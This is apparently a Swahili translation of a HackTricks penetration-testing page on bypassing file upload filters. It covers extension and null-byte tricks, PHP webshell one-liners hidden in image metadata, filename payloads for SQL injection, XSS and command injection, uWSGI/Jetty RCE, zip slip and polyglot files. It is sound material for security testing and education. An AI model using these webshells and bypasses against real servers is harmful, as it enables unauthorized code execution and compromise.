File Upload
Last updated
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ikiwa unavutiwa na kazi ya hacking na kuhack kile kisichoweza kuhackwa - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika).
Extensions nyingine muhimu:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Kazi katika PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Ikiwa zinatumika, angalia extensions za awali. Pia jaribu kutumia herufi kubwa: pHp, .pHP5, .PhAr ...
Angalia kuongeza extension halali kabla ya extension ya utekelezaji (tumia extensions za awali pia):
file.png.php
file.png.Php5
Jaribu kuongeza herufi maalum mwishoni. Unaweza kutumia Burp ku bruteforce herufi zote za ascii na Unicode. (Kumbuka kwamba unaweza pia kujaribu kutumia extensions zilizotajwa awali)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Jaribu kupita ulinzi kwa kudanganya parser ya extension ya upande wa seva kwa mbinu kama kuongeza extension au kuongeza data za junk (null bytes) kati ya extensions. Unaweza pia kutumia extensions za awali kuandaa payload bora.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Ongeza tabaka lingine la extensions kwa ukaguzi wa awali:
file.png.jpg.php
file.php%00.png%00.jpg
Jaribu kuweka exec extension kabla ya extension halali na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension** .php, lakini sio lazima kumalizika na .php** itatekeleza msimbo):
ex: file.php.png
Kutumia NTFS alternate data stream (ADS) katika Windows. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, faili tupu yenye extension iliyokatazwa itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “::$data” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
Pita Content-Type ukaguzi kwa kuweka thamani ya header ya Content-Type kuwa: image/png , text/plain , application/octet-stream
Orodha ya maneno ya Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Pita magic number ukaguzi kwa kuongeza mwanzoni mwa faili bytes za picha halisi (changanya amri ya file). Au ingiza shell ndani ya metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
au unaweza pia kuingiza payload moja kwa moja katika picha:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Ikiwa compression inaongezwa kwenye picha yako, kwa mfano kwa kutumia maktaba za kawaida za PHP kama PHP-GD, mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia PLTE chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.
Tovuti inaweza pia kuwa ikiunda picha, kwa kutumia kwa mfano kazi za PHP-GD imagecopyresized
au imagecopyresampled
. Hata hivyo, unaweza kutumia IDAT chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.
Mbinu nyingine ya kutengeneza payload ambayo inadumu baada ya kupunguza picha, kwa kutumia kazi ya PHP-GD thumbnailImage
. Hata hivyo, unaweza kutumia tEXt chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.
Tafuta udhaifu wa kubadilisha jina la faili iliyopakiwa tayari (kubadilisha extension).
Tafuta udhaifu wa Local File Inclusion ili kutekeleza backdoor.
Kuweza kwa kufichua taarifa:
Pakia mara kadhaa (na kwa wakati mmoja) faili ile ile yenye jina lile lile
Pakia faili yenye jina la faili au folder ambayo tayari ipo
Kupakia faili yenye “.”, “..”, au “…” kama jina lake. Kwa mfano, katika Apache katika Windows, ikiwa programu inaokoa faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
Pakia faili ambayo huenda isiweze kufutwa kwa urahisi kama “…:.jpg” katika NTFS. (Windows)
Pakia faili katika Windows yenye herufi zisizo sahihi kama |<>*?”
katika jina lake. (Windows)
Pakia faili katika Windows kwa kutumia majina yaliyohifadhiwa (yaliyokatazwa) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
Jaribu pia kupakia executable (.exe) au .html (isiyo na shaka) ambayo itaendesha msimbo wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
Ikiwa unajaribu kupakia faili kwenye seva ya PHP, angalia hila ya .htaccess ili kutekeleza msimbo. Ikiwa unajaribu kupakia faili kwenye seva ya ASP, angalia hila ya .config ili kutekeleza msimbo.
Faili za .phar
ni kama .jar
kwa java, lakini kwa php, na zinaweza kutumika kama faili ya php (kuitekeleza kwa php, au kuijumuisha ndani ya script...)
Extension ya .inc
wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu kuagiza faili, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali extension hii kutekelezwa.
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata RCE kwa sababu xml mpya *.xml na *.war zinashughulikiwa moja kwa moja. Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye $JETTY_BASE/webapps/
na subiri shell!
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: uWSGI RCE Exploitation.
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya .ini
. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama @(filename)
, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama vile Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya .ini
inashughulikiwa.
Fikiria mfano ufuatao wa faili hatari ya uwsgi.ini
, ikionyesha mipango mbalimbali:
Utekelezaji wa payload unafanyika wakati wa uchambuzi wa faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia wget
ili kupakua faili na unaweza kuashiria URL. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, ukaguzi huu unaweza kupuuziliwa mbali.
Urefu wa juu wa jina la faili katika linux ni 255, hata hivyo, wget inakata majina ya faili hadi 236 wahusika. Unaweza kupakua faili inayoitwa "A"*232+".php"+".gif", jina hili la faili litakuwa bypass ukaguzi (kama katika mfano huu ".gif" ni kiambatisho halali) lakini wget
itabadilisha jina la faili kuwa "A"*232+".php".
Note that chaguo kingine unachoweza kufikiria ili kupita ukaguzi huu ni kufanya seva ya HTTP irejelee faili tofauti, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii haitafanya kazi isipokuwa wget inatumika na parameta --trust-server-names
kwa sababu wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali.
Upload Bypass ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
Weka jina la faili kuwa ../../../tmp/lol.png
na jaribu kufikia path traversal
Weka jina la faili kuwa sleep(10)-- -.jpg
na huenda ukawa na uwezo wa kufikia SQL injection
Weka jina la faili kuwa <svg onload=alert(document.domain)>
ili kufikia XSS
Weka jina la faili kuwa ; sleep 10;
ili kupima baadhi ya injection ya amri (zaidi ya mbinu za injection za amri hapa)
JS faili upakiaji + XSS = Kudhulumu Wafanyakazi wa Huduma
Jaribu payloads tofauti za svg kutoka https://github.com/allanlw/svg-cheatsheet****
Ikiwa unaweza kuonyesha seva ya wavuti kukamata picha kutoka URL unaweza kujaribu kudhulumu SSRF. Ikiwa picha hii itahifadhiwa katika tovuti ya umma, unaweza pia kuonyesha URL kutoka https://iplogger.org/invisible/ na kuiba taarifa za kila mtembeleaji.
PDFs zilizoundwa kwa makini kwa XSS: ukurasa ufuatao unaonyesha jinsi ya kuingiza data za PDF ili kupata utekelezaji wa JS. Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambazo zitatekeleza JS zisizo za kawaida kufuatia maelekezo yaliyotolewa.
Pakia maudhui ya [eicar](https://secure.eicar.org/eicar.com.txt) ili kuangalia ikiwa seva ina antivirus
Angalia ikiwa kuna kikomo cha ukubwa katika upakiaji wa faili
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka hapa):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: XSS iliyohifadhiwa / SSRF / XXE
GIF: XSS iliyohifadhiwa / SSRF
CSV: injection ya CSV
XML: XXE
AVI: LFI / SSRF
HTML / JS : injection ya HTML / XSS / Open redirect
PNG / JPEG: shambulio la pixel flood (DoS)
ZIP: RCE kupitia LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Rejelea https://en.wikipedia.org/wiki/List_of_file_signatures kwa aina nyingine za faili.
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, ukifika kwenye faili zilizondolewa utapata faili zilizounganishwa:
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili hatari, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye evilarc on GitHub. Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
Zaidi ya hayo, symlink trick with evilarc ni chaguo. Ikiwa lengo ni kulenga faili kama /flag.txt
, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
Kukandamiza ushirikishaji kwa ajili ya kupiga picha za faili
Kwa maelezo zaidi angalia chapisho la asili katika: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Kuunda PHP Shell: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya $_REQUEST
.
Kupiga picha za faili na Kuunda Faili Zilizoshinikizwa: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
Mabadiliko kwa kutumia Hex Editor au vi: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye saraka.
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu (ImageMagick , 7.0.1-1) (fanya kutoka exploit)
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za imagecopyresized
na imagecopyresampled
kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayoweza, unapatikana katika makala ifuatayo: "Encoding Web Shells in PNG IDAT chunks". Rasilimali hii inatoa uelewa wa kina wa mchakato na athari zake.
Maelezo zaidi katika: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni GIFAR, mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot unaweza usitoshe kuhakikisha kupakia kwake.
Maelezo zaidi katika: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Ikiwa unavutiwa na hacking career na kuhack yasiyoweza kuhack - tunaajiri! (kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika).
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)